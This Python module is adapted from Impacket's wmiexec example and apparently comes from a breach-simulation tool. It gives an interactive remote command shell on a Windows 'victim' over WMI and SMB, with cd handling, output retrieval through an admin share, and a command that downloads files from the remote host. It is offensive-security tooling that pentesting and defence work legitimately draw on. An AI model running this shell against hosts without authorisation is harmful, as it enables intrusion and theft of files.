# Copyright (c) 2000 SecureAuth Corporation.  All rights
# reserved.

# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:

# 1. Redistributions of source code must retain the above copyright
#    notice, this list of conditions and the following disclaimer.

# 2. Redistributions in binary form must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer in
#    the documentation and/or other materials provided with the
#    distribution.

# 3. The end-user documentation included with the redistribution,
#    if any, must include the following acknowledgment:
#       "This product includes software developed by
#        SecureAuth Corporation (https://www.secureauth.com/)."
#    Alternately, this acknowledgment may appear in the software itself,
#    if and wherever such third-party acknowledgments normally appear.

# 4. The names "Impacket", "SecureAuth Corporation" must
#    not be used to endorse or promote products derived from this
#    software without prior written permission. For written
#    permission, please contact oss@secureauth.com.

# 5. Products derived from this software may not be called "Impacket",
#    nor may "Impacket" appear in their name, without prior written
#    permission of SecureAuth Corporation.

# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.


import cmd
import logging
import ntpath
import os
import sys
import time

logger = logging.getLogger(__name__)


# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to start remote shell on victim
class RemoteShell(cmd.Cmd):
    CODEC = sys.stdout.encoding

    def __init__(self, share, win32Process, smbConnection, outputFilename, secrets_dir):
        cmd.Cmd.__init__(self)
        self.__share = share
        self.__output = "\\" + outputFilename
        self.__outputBuffer = str("")
        self.__shell = "cmd.exe /Q /c "
        self.__win32Process = win32Process
        self.__transferClient = smbConnection
        self.__pwd = str("C:\\")
        self.__noOutput = False
        self.__secrets_dir = secrets_dir

        if self.__transferClient is not None:
            self.do_cd("\\")
        else:
            self.__noOutput = True

    def do_get(self, src_path):
        try:
            import ntpath

            newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
            drive, tail = ntpath.splitdrive(newPath)
            filename = ntpath.basename(tail)
            local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename)
            fh = open(local_file_path, "wb")
            logger.info("Downloading %s\\%s" % (drive, tail))
            self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
            fh.close()
        except Exception as e:
            logger.error(str(e))
            if os.path.exists(local_file_path):
                os.remove(local_file_path)

    def do_exit(self, s):
        return True

    def do_cd(self, s):
        self.execute_remote("cd " + s)
        if len(self.__outputBuffer.strip("\r\n")) > 0:
            print(self.__outputBuffer)
            self.__outputBuffer = ""
        else:
            self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
            self.execute_remote("cd ")
            self.__pwd = self.__outputBuffer.strip("\r\n")
            self.prompt = self.__pwd + ">"
            self.__outputBuffer = ""

    def default(self, line):
        # Let's try to guess if the user is trying to change drive.
        if len(line) == 2 and line[1] == ":":
            # Execute the command and see if the drive is valid.
            self.execute_remote(line)
            if len(self.__outputBuffer.strip("\r\n")) > 0:
                # Something went wrong.
                print(self.__outputBuffer)
                self.__outputBuffer = ""
            else:
                # Drive valid, now we should get the current path.
                self.__pwd = line
                self.execute_remote("cd ")
                self.__pwd = self.__outputBuffer.strip("\r\n")
                self.prompt = self.__pwd + ">"
                self.__outputBuffer = ""
        else:
            if line != "":
                self.send_data(line)

    def get_output(self):
        def output_callback(data):
            try:
                self.__outputBuffer += data.decode(self.CODEC)
            except UnicodeDecodeError:
                logger.error(
                    "Decoding error detected, consider running chcp.com at the target,"
                    "\nmap the result with "
                    "https://docs.python.org/3/library/codecs.html#standard-encodings\nand "
                    "then execute wmiexec.py "
                    "again with -codec and the corresponding codec"
                )
                self.__outputBuffer += data.decode(self.CODEC, errors="replace")

        if self.__noOutput is True:
            self.__outputBuffer = ""
            return

        while True:
            try:
                self.__transferClient.getFile(self.__share, self.__output, output_callback)
                break
            except Exception as e:
                if str(e).find("STATUS_SHARING_VIOLATION") >= 0:
                    # Output not finished, let's wait.
                    time.sleep(1)
                elif str(e).find("Broken") >= 0:
                    # The SMB Connection might have timed out, let's try reconnecting.
                    logger.debug("Connection broken, trying to recreate it")
                    self.__transferClient.reconnect()
                    return self.get_output()
        self.__transferClient.deleteFile(self.__share, self.__output)

    def execute_remote(self, data):
        command = self.__shell + data
        if self.__noOutput is False:
            command += " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1"
        self.__win32Process.Create(command, self.__pwd, None)
        self.get_output()

    def send_data(self, data):
        self.execute_remote(data)
        print(self.__outputBuffer)
        self.__outputBuffer = ""
